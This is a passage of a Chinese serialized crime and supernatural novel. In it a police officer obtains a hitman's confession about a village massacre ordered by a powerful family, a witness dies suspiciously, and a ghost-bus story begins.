“我是警察，这样的事情，我是不会骗你的。”林凌看了一眼后视镜，“自从你儿子落网后，网上多了很多匿名举报世纪大酒店的帖子，内容很丰富，有图片，有视频，都是发生在世纪大酒店的罪行，雨后春笋一样冒出来了，你觉得，这背后没有推手吗？没有这些举报帖，警方的取证速度还不会这么快，有了这些举报帖，你们顾家的人，怕是这辈子都别想从监狱里出来了。”
“你的意思是……梁家……在断尾自保？”顾老五突然想起了什么。
他记得，自己今天要出门的时候，并没有人阻拦自己，甚至，所有人都默许了他出门报仇的行为。
这在之前，是从没有发生的。
在这之前，他一直待在梁家祖宅，没有上头的允许，是不能离开那个大宅院的，他就像是被豢养的杀手，随时等待主人的命令，再一次为主人杀人。
可这一次。
主人没有任何命令，他却能够自由出入梁家祖宅。
这不是……
太奇怪了吗？
顾老五陷入了沉默。
这一反省，才让他想起日常时候的更多细节。
那跟在梁业身边的狗腿子，总是不拿正眼看自己；梁老太爷在当年自己杀完吴家村后，因没能得到轩辕氏稀血而对自己大声呵斥；就连现在，梁家的小辈们也敢对自己指手画脚，自己纵横江湖一世，没想到却不被当成一个玩意儿，说丢掉就丢掉了，实在是让人气愤！
顾老五越想越气，他这才意识到，梁家的翻脸无情。
当你有用的时候，他们会给你锦衣玉食的生活，但当你已经没有利用价值的时候，他们便会翻脸无情。
“……”
林凌看着顾老五沉思的模样，知道自己的离间计起作用了。
恰好，路口的红灯转为了绿灯。
他发动了车子，往公安局而去。
“顾大哥，我劝你，还是乖乖配合警方的调查，只有把你知道的事情告诉警方，我们才能为你和你孩子们报仇，不然，被人卖了，你还替人数钱呢。”
沉默了许久，顾老五才阴沉着脸色抬起头，看着坐在驾驶座的林凌。
他的声音，沙哑而疲惫。
带着不得不妥协的无奈和沉重。
“……警官，要我配合可以，但你们能保证我的孩子们不被判死刑吗？我没有其他要求，只希望他们都活着。”
“……说实话，这一点，我没有办法给你保证，因为世纪大酒店的案子太大了，里面牵扯到太多重度违法犯罪行为，不过，如果你愿意配合警方的调查取证，我们能查清楚哪一些是梁氏集团指使的，也就不必把一盆子罪名都扣在你儿子头上，到时候量刑也会减轻，孰轻孰重，老爷子，你自己考虑吧。”
229. 顾老五的供词
在审讯室那略显昏暗的环境中，灯光突然被打开，就像一道闪电划破夜空一般，瞬间将整个房间照亮。
那强烈的光线如同太阳般耀眼，直直地照射在顾老五的脸上，让他的眼睛几乎无法适应。
顾老五不禁下意识地眯起眼睛，眉头紧紧地皱起，仿佛这光线是一种刺痛，让他感到十分不适，他的面部肌肉因为这突如其来的刺激而微微抽搐着，原本紧绷的神经在这一刻似乎更加紧张了。
眼前的景象有点儿恍惚，在那灯光之中，他看见有两个穿着制服的人坐在自己对面，其中一个，就是开警车带自己到警察局的小伙子。
“姓名。”
“顾老五。”
“年龄。”
“六十五。”
“说说吧，当年吴家村发生的事情，越详细越好。”
“……那是二十多年前发生的事情了，很多人都已经死了，很多事情我也忘得差不多了。”
“没关系，你想起什么就说什么，剩下的，我们警方会去查证。”
……
这一晚，审讯室的灯亮到了天亮。
一直到天亮时分，林凌和另一名记录员才从审讯室里出来。
“赶紧整理一下今晚审讯得到的口供，我们要第一时间汇总上报。”
“好。”
顾老五吐的东西不少，但并没有什么逻辑思维，他像是在回顾自己的一生一样，想到什么就说什么，想起什么人，就唠嗑几句。
那一年，和他出生入死的伙伴已经逐渐分道扬镳。
有的死了，有的音讯全无。
在顾老五年少轻狂的时候，他成了一个帮派，并打着只要有雇主肯花钱，他们什么事情都愿意做，至此，成为了亡命之徒。
因为曾经经历过身无分文、吃了上顿没下顿的时候，因此比起死亡来说，他更恐惧的是贫穷。
为了酬金，他可以杀人，他可以做任何违法乱纪的事情。
在那个本就动乱的年代，社会治安并不好，像他们这样的人，被当地人叫做“流匪”，在作案后往往会集体消失，直到下一次出现在另一个地方，犯下另外的罪过。
在他们看来，人生只有这么一次，为了让自己生活阔绰一点，没有什么事情是不能做的。
他们常接黑市、□□的悬赏令，只要完成悬赏令上的任务，兄弟们都可以吃香喝辣，因此，这帮人也越来越多，许多来自天南地北的小青年也加入了他们的帮派，顾老五，便作为帮派首领，成为了领头羊一样的存在。
某一天，他接到了一份高额的悬赏令。
悬赏令很简单，只有两行字：屠杀吴家村，找到轩辕氏稀血。
他不知道什么是轩辕氏稀血，但是没关系，雇主告诉他，怀有轩辕氏稀血的，是一个小孩子，一个可能五六岁左右的小孩子，吴家村虽然全村都是轩辕氏的后代，但稀血并不是人人都有的，只有那孩子身上的稀血，才是最纯粹、最稀有的。
其他人，皆可杀。
按照雇主的指令，在某个月黑风高的夜晚，顾老五和一帮兄弟便潜入了吴家村。
这一切比他们想象中要顺利得多。
雇主已经提前告知了他们吴家村的位置，他们只需要潜入村里，将大人尽数杀死，并带回可能是轩辕氏稀血的孩子，便能拿到高额赏金。
那一夜，他们确实是这么做了。
“我还记得，那一晚的雪，下得很大。鹅毛大雪，铺在地上，我们走在上面，没有任何声音。”
顾老五用沙哑的声音复述着过去发生过的事情，眼前，浮现出一片白茫茫的雪景。
“我和兄弟们，轻而易举地就进村了，本来以为吴家村会严加防备，毕竟轩辕稀血在村里，要说没有任何保护措施，我是不相信的，但是没想到，事实就是这么可笑，他们竟然还真就是一个普通的农村，村里的年轻人不多，加上又是半夜，我们下手很方便。”
“我们兵分三路，从东南西三个方向进村，进村后，便开始破门、杀人、找人……”
“最开始，也有人呼救，但是在他们还没有叫出声的时候，就已经被我们割断咽喉了，我们做这行已经很久了，杀人灭口这样的事情对我们来说，自然是得心应手，当然了，现在跟你们这些小娃娃说这些，你们可能会觉得匪夷所思，但是在那个年代，抢劫，是寻常事。”
“吴家村的人，不少，大概有小一千人，但是他们没有防备，因此那一夜几乎被我们全杀了。”
“可惜的是，我们并没有找到雇主口中的小男孩，现场是有几个五六岁的孩子，但是那些孩子身上并没有所谓的‘月牙形胎记’，所以我就随手把他们都杀掉了，另外，我记得有个女人仓皇之中带着孩子逃进了旁边的树林，我们追了过去，杀掉了那个女人，却并没有看到她牵着的孩子。”
“当时，我们以为那孩子应该是掉入悬崖死掉了，便没有深究，现在看来，那个失踪的孩子，应该就是青城山吴妄，漏网之鱼啊，可惜，他应该就是我们要找的轩辕氏稀血，大意了，大意了，一着不慎满盘皆输，唉……”
“雇主对我们那次的任务，并不是很满意，虽然我们的动作很快，也确实杀掉了吴家村所有人，但是却没有找到雇主要的轩辕氏稀血，因此，那次的酬金只给了一半，但雇主却很欣赏我的能力，因此，在那之后，他们经常会委托我做各种各样的事情。”
“包括，寻找他们要的目标，并伪装成自杀或者是各种意外，好让他们能搜集死者的魂魄，镇压在瓮罐里，祭祀给他们供奉的‘神明’。”
“对了，你们前段时间不是破获了面包店店主的案子吗？店里面的那几个死者，就是我们和面包店店主合伙选中并杀死的，我们这么做，都是听从了雇主的命令，他喜欢我
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动手的时候干脆利落，因此，我也逐渐脱离了帮派，成为那个大老板的私人死士。”
对于过去的事情，顾老五并不多加隐瞒。
他已经六十多岁了，自己在人间的时间也不多了。
如果能用这条老命，换得顾六壬和顾健的平安，他认为很值得。
他考虑过林凌所说的话，并认为这确实可行。
如果能尽量撇清世纪大酒店的罪行，对顾家来说，确实相对有利。
“对了，你们不是一直很好奇我的雇主是谁吗？我现在告诉你们，就是梁氏集团的前任话事人，梁老太爷，不过，他现在已经死了，我也没有办法拿出证据证明我说的是真的，但确实是他指使我替他做了很多肮脏的事情，并且，也是他指名道姓，要我的儿子帮他打理世纪大酒店，希望这家酒店作为一个渠道，帮他洗钱。”
“梁老太爷啊，是个了不起的人，我虽然接了很多次他的命令，却始终没有见过他，一直到后来，我成为了梁家养的杀手，这才见过他几次。”
“他的目光，和孤狼一样，看人的时候，是斜着看的，没有任何温度，他的眼中，只有利弊，任何生命，在他看来，都可以用金钱衡量，他只会做有利于自己的生意，他是个经商的天才，却也是个心狠手辣的头目，他养了不只我一个杀手，为的就是帮他铲除异己，扩大梁家生意版图。”
“证据？我没有证据，这么多年来，我对梁老太爷忠心耿耿，我不可能留下任何不利于梁老太爷的录音或者是照片，我们顾家和梁家的利益捆绑太深了，或许，这也是梁老太爷需要的，为的是让我们顾家永远成为梁家的走狗，帮他们做事，而他们，只需要躲在幕后，静观其变。”
“……对了，我这几年，一直生活在梁家祖宅，梁氏集团的董事长秘书定期会给我儿子的账户汇款，说是给我的赡养费，这笔钱，你们应该可以查到，上个月好像还有汇款，要查起来应该不难。”
“我不知道这能不能作为证据，但我能证明，我儿子做的很多事情，都是梁家在背后指挥的，现在酒店出事了，他们就想都推到我儿子身上！这不可能！”
“如果可以的话，我认为你们可以搜查一下梁家祖宅，梁老太爷生前时不时会回来祖宅，我认为，这个大宅子里，藏着一些甚至是我也不知道的秘密，我在祖宅里并没有自由活动的权限，但我也曾经看见一两次，梁老太爷在祠堂里神神秘秘在供奉着什么的画面……我认为，你们可以去梁家祠堂查一查，说不定那只老狐狸会把自己的某些罪证藏在祠堂里，毕竟，那对他们而言，算是最安全的地方。”
“唉，我要说的，就说完了，希望你们能完全记录下来，我知道梁家势力可一手遮天，我担心，哪怕我进了警察局，却也不得善终，希望你们能保存好我的口供，不要让任何意外毁掉这份口供，这也算是……我对自己此生罪行的一个赎罪吧。”
230. 阴谋
顾老五的审讯维持了三天。
由于顾老五涉及到当年吴家村被屠村一案，上级高度重视本案，并连夜组织了专家组对顾老五进行三审。
最后，顾老五将一切能“吐干净”的东西都“吐干净”后，警方按照顾老五提供的账号，追查到这几年一直是梁氏集团总裁秘书陈琳定期给顾老五汇款，并且每一笔款项的金额都不同，每一次汇款之前，都有命案发生，这一点，恰好能与顾老五证词之中“梁氏集团买凶杀人”所对应。
警方按照这条线索，当天便出警打算逮捕陈琳。
可奇怪的是，明明是上班时间，陈琳却不在集团，随后，警方来到了陈琳的住处，发现陈琳已经在家中上吊自杀了。
陈琳留下了一封遗书，遗书的内容大致是这几年她都利用职务之便，贪了梁氏集团的公款，并用于“报私仇”，而所谓的“报仇方式”，便是雇佣顾老五杀人，而为了让顾老五信服，便假借集团的名义，做了这些事情。
一切看起来漏洞百出，但因为死无对证，警方反而一时之间查不到什么有用的线索。
警方搜查了陈琳的住处后，发现了两个身份证。
第一个身份证，是当下陈琳所用的身份。
第二个身份证，则是过期的身份证，上面的名字是，赵琳。
第二个身份证已经十分破旧，并且已经过期五年了，从证件照来看，陈琳和赵琳应该是同一个人，只是不知道为什么，在更新二代身份证的时候，修改了赵琳的名字。
林凌将赵琳的身份证号输入系统后发现，赵琳的父亲叫赵志恒，母亲叫赵玉华。
或许，这个名字可能会有点陌生。
但当林凌看到赵玉华的证件照后，一眼便认出了这就是在逃的人口贩卖组织的头目，赵姨。
没错，就是那个诱拐了秦琴，并将秦琴卖给牛肉面馆一家的赵姨，不只是秦琴，这几年，她藏在陵川市，经手了许多被拐卖的妇女儿童，如秦琴一般的，算是命好的了，更有甚者，被她卖到了大山深处，到现在都没有找到，又或者，是被卖给了黑恶势力组织，到现在仍旧生死不明。
自从秦琴案破获后，警方捣毁了陵川市人口贩卖组织，但头目赵姨却仍然在逃，警方虽然发布了通缉令，但到目前为止，关于赵姨的有用线索并不多。
没想到，峰回路转，沿着顾老五这条线，倒是查出了赵姨的女儿原来就是梁氏集团的总裁秘书，这几年一直身居高位，甚至也在做着违法犯罪的勾当！
赵琳在年满十八岁后，将自己的名字改成了陈琳，至于，她是怎么更改自己的姓氏的？没人知道。
林凌猜测，梁氏集团在陵川市一手遮天，他们一定有一些“方便手段”，让他们能做到“非常之举”，区区改名，应该不算什么难事，只是，林凌不知道梁氏集团究竟还有什么没查出来的恶事，更可气的是，现在并没有直接证据能证明梁氏集团或者是梁氏家族的人与人口贩卖或者是买凶杀人有直接性关系，顾六壬也罢，陈琳也罢，都直接背了黑锅。
是怎样的力量让他们义无反顾地为梁氏集团献出生命？
林凌不知道，但他感觉这样的力量很可怕。
这是两条生命，两段人生，但为了集团利益，他们却在所不惜。
没有人相信梁氏集团是清清白白、与这一切毫无关系，但苦在没有证据。
顾六壬和陈琳，将目前警方查到的一切全都背了下来，一个死无对证，一个闭口不言，他们像是有什么把柄被拿捏在梁氏手里，哪怕是已经到了山穷水尽的地步，也不会出卖旧主。
可以说，在陵川市，梁氏集团已经到了只手遮天的地步。
“唉……”
林凌坐在座位上，看着面前放着的一碟照片，陷入了沉思。
这是在陈琳自杀现场拍到的照片，照片上，陈琳跪在衣柜里，用领带在衣柜里自杀。
人，都是有自我保护的本能的，能在衣柜里自杀的人，都是下了必死的决心才能这么做的。
他们明明站起来，就能活下来。
但却不愿意这么做。
这是为什么？
难道……活着，有什么更可怕的东西，让他们不愿意面对吗?
林凌看着照片上的尸体，陷入了沉思。
“林凌。”一个声音打断了林凌的思绪。
林凌回过头，发现是法医。
“刘法医。”
“尸检结果出来了，陈琳的确是自杀，她的尸体上没有被捆绑或者是虐待的痕迹，只有脖颈窒息而亡的勒痕。”
刘法医说着，将一本尸检报告放在了林凌面前。
“……她是在衣柜上吊自杀的。”
“对。”
“这样的人，是下了必死的决心啊……”
“是的，一般人可能很难理解在衣柜上吊自杀的人，但是也是有很多这样人，他们可能不想自己的尸体这么快被发现，所以选择了在衣柜里自杀，只不过，这个过程很痛苦，她必须忍着求生的欲望，一点一点窒息。”
“你说，会不会有人按着她，让她没办法放下双腿，所以才窒息了？”
“……应该不会，如果死者不是自愿上吊自杀，必然会挣扎，如果要按住一个拼死抵抗的人，那么一定会在尸体上留下类似淤青、勒痕等痕迹，但是我在陈琳的尸体上并没有看到这些，一切证据都表明了在上吊的时候，她至少是很愿意做这些事情的。”
林凌沉思。
“既然如此，那只能证明是有人威胁她这么做了。”
“不好说，毕竟我们没有在陈琳家找到其他线索。”
林凌冷笑：“她家？那可太干净了，甚至连第二个人的指纹都没有，你敢相信吗？一个常年住在陵川市的人，家里居然没有第二个人的指纹……”
“看来是有人‘打扫’过。”
“嗯，而且对方很清楚，哪里会留下自己的指纹，在陈琳死后，打扫过现场。”
“附近没有监控摄像头吗？”
“没有，陈琳住的是高档小区，这种小区是很注重保护住户隐私的，电梯也是直接从地下室到家里的入户电梯，如果没有密码，
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是没办法到陈琳家的……所以我怀疑，凶手应该是死者的熟人，至少，是很可能知道电梯密码。”
“原来如此。”
“只不过，电梯和地下室都没有监控录像，小区的停车杆在事发前几天刚好坏了，为了维修停车杆，这几天停车杆全都抬着，所以没办法记录这几天是否有外来车辆进入了小区。”
“呵，这也太巧了。”
“是啊，一切都带着人为的痕迹，但我们就是没有任何线索能查到这‘第二个人’究竟是谁……”
林凌和法医的脸色都异常阴沉，仿佛被一层厚厚的乌云所笼罩，他们的眉头紧锁，嘴唇紧闭，没有丝毫的笑容或轻松的表情。林凌的眼神犀利而严肃，透露出一种沉重的压力，而法医则显得更加冷漠和沉默，似乎对周围的一切都漠不关心。
他们都知道自己面对的敌人是一个阴险狡诈的人，他们嗅到了那藏在草丛里的狐狸的味道，但却没有办法抓住狐狸。
这太难受了。
“不过，这件事情上头也很重视，不是成立了专案组吗？我想，应该会有进展的。”
林凌摇了摇头：“专案组每天都在开会，每天都汇报进度，但是我听来听去，都是一些没有价值的线索，但是我总觉得……梁氏集团和这一切脱不开关系，不只是顾老五和陈琳的案子，甚至是更早之前的人口贩卖组织的案子，可能也是梁氏集团的手笔。”
“但是他们做得太干净了，我们没有证据。”
“是，如果要让狐狸露出马脚，我们可能还得从其他方面调查，光是看着眼前的证据是不够的，我们拿到的，都是被别人‘处理’过的东西，他们能把这些东西留下，一定是确认我们调查不出什么了。”
“是啊……”
就在此时，一个小警员慌慌张张地跑了过来。
“不、不好了！林哥！”
他喘得上气不接下气，一张小脸苍白如纸。
林凌严肃地站起身：“怎么了？你慢点说。”
“顾……顾……”
“顾老五？”
“对……对……顾……顾老五死了！”
“啊？！”
林凌和刘法医均是一愣。
“顾老五死了？！”
“怎么会死了？！他不是一直被关着吗？”
“不……不知道啊……好像……好像是昨天半夜，哮喘发作了，我们发现的时候，顾老五的尸体都已经凉了，他眼睛睁得老大，嘴巴也张着，好像是……是喘不上气来死的！”
林凌一拍桌子：“顾老五有哮喘！？他怎么没告诉我们？！”
刘法医蹙眉：“不对啊，人在拘留所里，一般的过敏原例如柳絮这种东西，顾老五是接触不到的，前几天他还好好的，怎么昨天突然就死了？”
林凌冷笑：“前几天他还活着，是因为没有接触到过敏原，但现在死了……难保不是别人把‘过敏原’送到了他那里。”
刘法医和小警员面面相觑，意识到一个可怕的事实。
“你的意思是……警局里有叛徒？”
231. “44”路公交
深夜，城市褪去了白日的喧嚣，被浓稠的黑暗所笼罩。
写字楼的灯火大多已经熄灭，唯有顶层的一间办公室还亮着灯，李明坐在堆满文件的办公桌前，眼睛布满血丝，死死地盯着电脑屏幕，手指在键盘上机械地敲击着。为了赶这个重要项目的方案，他已经连续加班了好几个小时。
终于，随着最后一个字符敲下，他长舒了一口气，完成了任务。
加班人李明看了看时间，已经是凌晨两点多。
“唉，又是牛马打工人的一天……”
他拖着疲惫不堪的身体走出写字楼，街道上空空荡荡，只有偶尔驶过的车辆带起一阵风声，他想起自己错过了最后一班地铁，只能寄希望于还有深夜公交能载他回家。
来到公交站台，冷风一吹，李明不禁打了个寒颤。
他抱紧双臂，在站台上来回踱步，眼睛不时望向公交车驶来的方向，晚风透着凉意，等了许久，就在他几乎要放弃，准备打车的时候，远处缓缓驶来一辆公交车，车头的灯光在黑暗中显得格外微弱。
路灯在夜色中晕开浑浊的光圈，站在公交车站李明眯起眼睛，看着那辆缓缓驶来的公交车像从深海浮上来的幽灵，车身原本的蓝色漆皮早已斑驳，剥落处露出底下暗红锈迹，如同溃烂的伤口，车头的玻璃罩蒙着层灰绿色的黏液，车灯歪斜地嵌在扭曲的金属框架里，像是凹陷的眼窝，散发着浑浊的幽光，随着车辆颠簸明灭不定，仿佛随时会闭上。
车身上布满了暗褐色的污渍，像是干涸的血迹，在昏黄的路灯下泛着诡异的光泽，车窗玻璃呈深紫色，像蒙上了一层凝固的血浆，看不清里面的景象，车窗边缘结着蛛网状的冰棱，尖锐的棱角在灯光下泛着冷光，却没有一丝寒意，反而让人感觉温热潮湿，仿佛是某种生物的黏液凝结而成。
车牌歪斜地挂在车头，数字“44”被一层油乎乎的黑膜覆盖，透着青紫色的幽光，每当车辆震动，黑膜下的数字就会像活过来的虫子般扭曲蠕动，车门打开时发出刺耳的金属摩擦声，像是指甲划过黑板，门框四周凝结着暗红的冰晶，如同凝固的血痂，随着开门的动作簌簌掉落。
李明揉了揉眼睛，在细细看去时，却发现公交车又恢复了正常的模样。
刚才看到的都是错觉吗？
李明心生疑惑，但这已经是最后一趟公交了，如果错过这趟车，他可能就要打车回家。
可能是加班过度，出现幻觉了吧。
为了节省这点打车费，李明虽然疑心，但还是快步走上车，车厢里灯光昏暗，弥漫着一股说不出的陈旧气息，他投了币，抬头看向车厢，发现里面坐了不少人，大多低着头，看不清面容。
“……”
李明找了个靠窗的位置坐下，将身体深深陷进座位里，闭上眼睛，打算在这短暂的车程中休息一会儿。
车子缓缓启动，车轮与地面摩擦发出的声音在寂静的夜里格外清晰。
不知过了多久，李明被一阵寒意冻醒，他睁开眼睛，发现公交车已经行驶在一条陌生的道路上，道路两旁是一片荒芜，没有任何灯光，只有黑漆漆的一片。
他心中涌起一丝疑惑，正准备起身问问司机，目光不经意间扫向前排的乘客。
这一看，让他瞬间头皮发麻！
只见前排穿黑色风衣的乘客脖颈处的血痕正在诡异地起伏，暗红血液顺着衣领蜿蜒而下，滴落在地面却没有发出任何声响，那血痕像是有生命般蠕动，皮肉翻卷的缝隙里隐约可见森森白骨，更骇人的是，随着车辆颠簸，本该喷涌而出的鲜血竟以逆重力的姿态悬浮在伤口上方，凝成一颗颗颤动的血珠，折射出妖异的紫光。血珠表面还泛着细密的纹路，如同无数张小嘴在无声嘶吼。
他惊恐地将目光移向别处，却发现车厢里的其他乘客也都透着诡异……
车厢顶灯突然滋啦一声爆出幽绿的火花，李明的目光被前排座位上的女人牢牢钉住！
只见她脖颈保持着九十度的直角僵硬扭转，苍白如纸的面皮上爬满蛛网状的裂纹，随着呼吸诡异地起伏，空洞的眼窝里，两团灰白色的雾气正在缓缓凝聚，突然“啵”地炸开，伸出两根半透明的触须，在空中缓慢摆动，像是在感知周围的动静，嘴角的鲜血不再是静态的痕迹，而是变成了一条活物，正沿着下巴蜿蜒蠕动，在脖颈处编织出细密的血线，血线还在不断延伸，如同某种诡异的符文。
当李明颤抖着将视线移向过道另一侧，一位穿西装的男人突然发出骨头错位的“咔咔”声，他扭曲的脊椎一节节隆起，在衬衫下形成波浪状的凸起，仿佛有无数条蛇在皮肉下游走，耷拉的手臂以反关节的角度骤然抬起，指尖像折断的树枝般逐一爆开，黑色的腐液顺着袖口滴落，在地面腐蚀出冒着青烟的坑洞。
“哈哈哈，来抓我呀！”
后排传来的嬉闹声带着黏腻的水声，三个孩子追逐时，后脑勺碗大的凹陷处不断涌出灰白色的脑浆，脑浆滴落在座椅上，发出“吧唧吧唧”的声响，一个扎马尾辫的小女孩突然转身面对李明，脸颊凹陷成了一个血肉模糊的坑，用尖细的声音喊道：“大哥哥，来玩撕脸游戏呀！”
李明的心脏狂跳起来，他意识到自己可能上了一辆“鬼车”！
他想尖叫，想逃跑，可喉咙像是被什么东西哽住，发不出一丝声音，双腿也软得像面条，根本无法逃走。
这时，坐在他旁边的一位乘客缓缓转过头来……
那是一张令人毛骨悚然的脸啊！仿佛是从地狱中走出来的恶鬼一般，半边脸已经完全腐烂，血肉模糊，露出了白森森的骨头，让人不寒而栗，那骨头在微弱的光线下显得格外惨白，没有一丝血色，仿佛是被抽走了生命的躯壳。
更可怕的是，那腐烂的脸上还有蛆虫在蠕动着，它们在血肉和白骨之间穿梭，贪婪地吞噬着这具尸体的残余部分，这些蛆虫密密麻麻地爬满了整张脸，让人看了只觉得一阵恶心，想要立刻逃离这个可怕的场景。
“你……你是谁？”李明终于挤出了一句话，声音颤抖得厉害。
那“乘客”咧了咧没有嘴唇的嘴
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，发出一阵令人毛骨悚然的笑声，却没有回答他的问题。
“有、有鬼啊！！”
李明再也受不了了，他拼尽全力，冲向车门，想要下车。
可车门无论他怎么拉，都纹丝不动。他又转身跑向司机，想让司机停车，当他跑到驾驶座旁，却发现驾驶座上根本没有人，方向盘却在自己转动着，控制着公交车行驶。
恐惧彻底将李明吞噬，他的脑海中只有一个念头：逃，赶紧逃！他望向车窗，毫不犹豫地用车窗边挂着的锤子击碎了玻璃，然后不顾玻璃碎片的划伤，从窗户翻了出去。
下一秒，李明重重地摔在地上，膝盖和手掌擦破了皮，火辣辣地疼，他顾不上疼痛，爬起来就拼命往前跑，不知跑了多久，他回头望去，那辆诡异的公交车已经消失不见了，仿佛从未出现过，他这才松了口气，不由得双腿一软，倒在了地上。
“有、有鬼……”
他惊魂未定地躺在路上，仍感觉腿肚子发软，只能用手肘撑着身体，勉强挪到了路边。
“加、加班害人……加班害人！！”
……
第二天，陵川市灵异公交的新闻便传遍了城市。
李明将自己的深夜奇遇发在了城市的贴吧论坛上，并发了微博、抖音甚至是小红书，可以说，各个平台全都发了一遍，详细地讲述了自己遇到的那辆可怕的灵异公交车以及自己在公交车上看到的“非人”的存在。
李明的文笔很好，虽然是个工科男，但是日常就喜欢看一些灵异小说，因此，在描写这方面事情的时候，更是“神来之笔”、“绘声绘色”，读起来让人毛骨悚然。
不到三天，这篇《闹鬼的“44”路公交》便成为了热门话题，转发量和评论数全都破万，加上之前陵川市发生过一些灵异新闻，当下，陵川市倒是成为了灵异爱好者的热门打卡地点。
这就让作为灵异博主的宋明夷坐不住了。
有人在她的地盘发现了更重大的灵异新闻，甚至是引起了不小的热度，这让身在陵川市的宋明夷感觉到了“权威受到了挑战”。
“这能忍吗？！这不能！”
她一声怒喝，将一本病例砸在了护士站，过往的病人家属纷纷侧目，不知道的还以为发生了医患纠纷。
只见宋明夷转身去了值班室，反手掏出手机，给沈聆打了个电话。
“喂？小聆聆！你下课了吗？……是这样，你有没有看最近很热门的那篇帖子？说的是我们陵川市‘44’路公交车的事情？你也看了吧！果然，现在这篇帖子的热度很高，这还是在我的地盘发生的事情，我作为灵异博主，居然不是第一个报出这件事情的人！我跟你说，我们找个时间约一下，我一定要去查一下这什么闹鬼的公交车！”
宋明夷气呼呼地说着，一张小脸满是怒意。
“什么？要晚自习？没关系，等你晚自习结束之后我们再去，我看了下这篇帖子的时间，是在凌晨两点，我们就去他上车的那个公交站，去看看是不是真的有这趟公交车！”
232. 表白
且说今晚，刚下了晚自习，沈聆便披着外套往校门外走去。
“沈聆。”
一个声音从身后传来，沈聆停下脚步回头看去，发现是梁林。
“……有什么事吗？”
“没什么，只是看你好像一个人，介意我们一起走吗？”
“……我朋友在校门口等我，我可能只能陪你走这一段路。”
“没关系，多一个人走走，说说话也好的。”
梁林的声音很平静，他似乎任何时候看起来都是这样波澜不惊的模样。
两人便这么往校门口走去，一前一后，各有心事。
“最近压力大吗？”
“你的意思是……”
“我是说高考，再过几个月就要高考了，我看你最近的心情不是很好，上课时候也容易分心，是有什么心事吗？”梁林侧过脸看向了沈聆，他的眉毛修长而浓密，微微上扬的眼角透露出一丝不羁与洒脱，他的鼻梁高挺，嘴唇微微上扬，透露出一抹似有似无的笑容，仿佛对世间万物都抱着一种宽容和理解的态度。
这样的笑容，既不过分张扬，又恰到好处地展现出他的亲和力和温暖。
沈聆听出了他的话外之音，只是微微一笑，故作淡定地回答道：“没事，就是最近没睡好，我妹妹醒了，所以时不时要去医院看看，两头跑有点儿辛苦。”
“哦？你妹妹是叫沈凝对吧？她……好像也是我弟弟的同桌，我听我弟说过，他也去医院看望过她，听说她现在情况好多了，也能正常和人谈话，放心吧，会一点一点好起来的。”
“谢谢。”
“如果有需要的话，可以找我，梁家也认识一些权威医生，如果我开口，他们飞一趟陵川市会诊，也不是问题。”
“就不劳费心了，平安医院的医生护士都很好，我妹妹似乎也很适应医生的诊疗方案，我想，这时候如果加入别的医生的诊疗建议，反而一时之间不知道该听谁的，不如就维持现状就好。”
“也行，毕竟适合的方案才是最好的方案，你妹妹是个很可爱的女孩子，我听梁森说过，他也很希望自己能帮到沈凝，如果需要补品什么的，可以跟我们说。”
“好的，不过，我妹妹现在还没有完全康复，这个时候虚不受补，我想，如果大吃大喝也不是很好……我外婆倒是会做一些家常小粥带给我妹吃，虽然她吃的不多，但是看着消化功能也在恢复，我觉得这样就挺好的。”
沈聆的的声音很轻，但每一句都礼貌地回绝了梁林的帮助。
不卑不亢。
虽然她可能一辈子都赚不到梁家一小时收入的零头，但在这样的财阀面前，她还是委婉地拒绝了他们的帮助。
在她看来，梁林不是什么高高在上的人，只是她的同桌，她的同班同学。
一个，被她礼貌拒绝了帮助的人。
“……那好吧，如果有需要的话，可以跟我说，我也希望能尽一份力，毕竟，我是你的同桌，我弟弟也是你妹妹的同桌，这也是我们家和你们家的缘分，哈哈哈。”
“真的是吗？”
沈聆说着，停下了脚步，抬起头看向了梁林。
梁林也停了下来。
几个学生说笑着，从他们身边走过，仍有窃窃私语的女孩子在远处看着梁林，但此刻，他们对视着，却仿佛天地之间只有他们二人一般。
梁林轻笑：“你这是什么意思？”
“字面上的意思。”
“说实话，我也感觉有点太过巧合了，但是我可以平心静气地说一句，有些事情，确实就是这样。”
“哦？”沈聆一挑眉，“那我倒是很好奇，梁森是什么时候成为我妹妹的同桌的？是车祸之前吗？”
“这个我就不知道了，我不常过问我弟弟的事情，这次也是因为他在医院里碰到你，回来之后才跟我说的。”
梁林说得坦坦荡荡，那双眼睛里没有一点波澜，似乎在陈述一件再正常不过的事情，如果不是知道梁氏集团的相关情况，恐怕沈聆也难以相信面前这张面容之下可能另藏玄机。
“这样啊……”沈聆的笑容加深了几分，“我还以为，梁家在车祸发生之前，就已经盯上我们沈家了呢。”
“哦？那是你多虑了，你们家也不是显赫人家，也不是商业巨头，恕我直言，应该也没有什么值得觊觎的。”
“确实，我也不是很明白。”
沈聆说着，背着书包走了。
这一次，梁林没有跟上去，他看着沈聆的背影，陷入了沉思。
半晌，才露出一个诡异的微笑。
“这孩子，好像比我想象中更聪明一点。”
就在这时，一直在远处看着的几个女孩子，走了上来，为首的一个女孩子手上拿着一个粉色的信封。
“嗯？”
“梁……梁林，我……我是B班的李婷宜，你可能不认识我，但是我……我其实一直……”
“哦，是这东西啊。”梁林看到那粉色的信封以及女孩子脸颊的红晕，便知道了对方的来意。
他接过那不知道斟酌了几遍才写好的信，当着几个女孩的面，撕掉了。
在众人震惊之中，他将那碎纸屑丢在了地上，随后轻飘飘地说道：“没有其他事情了吗？那我先回去了。”
说着，便面无表情地离开了。
就在这一刹那间，他原本那温柔如水的眼眸，其中所蕴含的温柔与善意瞬间消失得无影无踪，取而代之的是几分明显的不耐烦和深深的厌恶。
那眼神，仿佛是在看着一个极其愚蠢、令人厌烦的东西，让人不禁心生寒意，而这种感觉，并非只是一时的情绪波动，而是从他内心深处涌现出来的真实情感。
他甚至没有再多看一眼那个令他如此反感的对象，便毫不犹豫地转身离去，仿佛逃离一场瘟疫一般，脚步匆匆，没有丝毫留恋。
“梁……梁林……”
梁林转身走了，留下那个原本满心欢喜的女孩子，如同被抽走了灵魂一般，呆呆地站在原地，眼神空洞而迷茫。
她完全无法理解为何他的态度会在一瞬间发生如此巨大的转变，这突如其来的打击让她猝不及防。
终于，在沉默了片刻之后，她那如珍珠般的泪珠，像决堤的洪水
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一般，顺着脸颊滑落，她的身体微微颤抖着，无声地抽泣着，那哭声中充满了无尽的委屈和伤心。
“为、为什么……为什么要这样糟蹋我的心意，我……”
身边其他女孩子看了，纷纷上前安慰。
“别哭了，他可能……可能比较直男一点，他……”
“对呀对呀，可能他没往那方面……”
